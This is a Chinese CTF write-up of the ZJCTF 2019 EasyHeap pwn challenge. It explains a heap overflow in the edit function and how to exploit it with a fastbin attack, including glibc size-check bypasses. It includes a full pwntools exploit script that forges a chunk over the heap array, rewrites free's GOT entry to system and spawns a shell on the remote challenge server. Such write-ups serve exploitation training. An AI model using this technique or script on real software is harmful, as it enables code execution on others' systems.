[ZJCTF 2019]EasyHeap(fastbin attack 堆溢出)

同样先检查保护
file
64位,小端序,开了Partial RELRO,没开PIE

常规 heap 操作
file

1、Create a heap
file

2、Edit a heap
file
这里就是漏洞点所在,size 是重新写入的,只要这里的buf比原来申请时的 size 大,就能造成溢出。
3、Delete a heap
file

4、read_input
file
这里的 input 是把参数写到一个地址去,如果这个地址可控的话,就能劫持了

利用思路:
用程序定义的 read_input 来修改某个地址的内容,从而劫持程序执行,在上面调用 read_input 的地方可知,写入的地址是一个chunk的首地址,也就是说如果能修改 chunk 首地址为指定的位置,就能实现任意地址写了。

fastbin attack

  • 我本地的glibc是2.31的,而靶机的glibc是2.23的。差别就在于 2.26之后加入了 tcache 机制,就没办法用常见的 fastbin 攻击。

file

file

  • 开始没有注意看到这个问题,无论如何都改不了 heaparray 的指针,写不过去,申请不到那个位置的 chunk,好久才反应过来。

  • 这个题远程的话就是普通的 fastbin attack ,思路就是靠溢出覆盖 chunk 的 fd 位置为目标地址,然后将其 free 掉使得这个 chunk 纳入 fastbin ,这时 fastbin 的链头就是这个 free chunk 的 fd 位置也就是目标位置。那么这时候再次申请同样大小的 chunk 就能把这个 chunk 申请回来,注意原来fd指向的目标位置,现在由更早的 free chunk 的 fd 指向了,再次申请一个同样大小的 chunk 时,就是从这个 fd(fastbin链头) 指向的目标位置申请 chunk 了,再写入内容就实现了任意地址写。

引用

董哥的黑板报:https://blog.csdn.net/qq_41453285/article/details/99315504
如果从fastbins中malloc一个freechunk时,glibc会做以下两个检测:

  • 检测1:检测你要malloc的freechunk的大小是否在该chunk所在的fastbin链的大小尺寸范围内(例如:一个fastbin链所存储的chunk大小必须在0x30-0x40之间,但是你要申请的这个chunk却是0x50,那么就会程序就报错退出)。
  • 检测2:检测你这个freechunk的size成员的PREV_INUSE为是否为1,为1才可以通过检测。

检测详情见文章:https://blog.csdn.net/qq_41453285/article/details/97753705

补充
这样也不是简单的打目标地址,也要看那个size是否合适

我们选取的攻击目标地址的偏移size成员数值的NON_MAIN_ARENA、IS_MAPPED、PREV_INUSE位都要为1,比如当前fastbin所能管理的freechunk大小为0x70~0x80,而伪造的size成员处的数值为0x71、0x72这样的数值不能够符合要求的,但0x7f这样的地址就可以满足需要。

漏洞的技巧点

  • 技巧①:我们malloc的时候,尽量malloc一个大小在0x70~0x80之间的堆块(因此malloc的参数要为0x60~0x70之间),因为这样我们的目标地址就会被放入0x70~0x80大小范围的fastbin链中,此时我们去构造堆块的时候,由于系统中0x7f这样的数值比较好找,所以能够构造0x7f这样的数值来跳过glibc的检测一。
  • 技巧②:接着技巧①,如果此时我们没有数值为0x7f这样的地址来让我们构造,那么我们就需要使用借助unsortedbin attack了,利用unsortedbin attack向我们的目标地址处写入一个0x7f的数值(见文章:https://blog.csdn.net/qq_41453285/article/details/99329694)。

exp:

#_*_coding:utf-8_*_
from pwn import *
context.log_level = 'debug'

p = remote('node4.buuoj.cn',26849)
elf = ELF('./easyheap')
def creat(size,content):
        p.sendlineafter('Your choice :',str(1))
        p.sendlineafter('Size of Heap : ',str(size))
        p.sendafter('Content of heap:',content)

def edit(index,size,content):
        p.sendlineafter('Your choice :',str(2))
        p.sendlineafter('Index :',str(index))
        p.sendlineafter('Size of Heap : ',str(size))
        p.sendafter('Content of heap : ',content)

def free(index):
        p.sendlineafter('Your choice :',str(3))
        p.sendlineafter('Index :',str(index))

#申请三个chunk
creat(0x60,'aaaa')
creat(0x60,'bbbb')
creat(0x60,'cccc')
free(2)
#gdb.attach(p)
#从chunk1开始写 '/bin/sh',\x00 作为截断,覆盖到 free 掉的 chunk2 的 fd 位置为 0x6020ad (heaparray的附近)
payload = b'/bin/sh\x00' +b'\x00'*0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)

#第一次申请到刚才free的chunk2,第二次申请到目标位置
creat(0x60,'a')
creat(0x60,'b')

#填充3字节,使构造的 chunk size 为 0x7f ,再填充到 heaparray 的首地址(也就是 chunk0 的位置),修改为 free 的got地址
payload = b'a'*3 + p64(0)*4 + p64(elf.got['free'])
edit(3,len(payload),payload)

#将 free 的got地址修改为 system的plt地址。
edit(0,8,p64(elf.plt['system']))

free(1) # free(1) => system('bin/sh')
p.interactive()

调试过程有限:
下次用patchif把glibc弄好了再调一下。

file
可以看见free chunk进入了tcache


patchelf弄好了,接着调试
第一次打开gdb,在 free 掉 chunk2 时看一下 heap
file
free chunk 进入了 fastbin
file
这里可以看得到,malloc 的 chunk 为 0x60 大小的,但是这里的 size 为 chunk头(0x10) + PREV_INUSE位为(0x1) = 0x71
继续往下
第二次打开gdb,申请到目标位置的 fake chunk
file
确实把 'b' ,写过去了,到这里就实现了任意地址写
接下来就按照思路继续就行了。

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据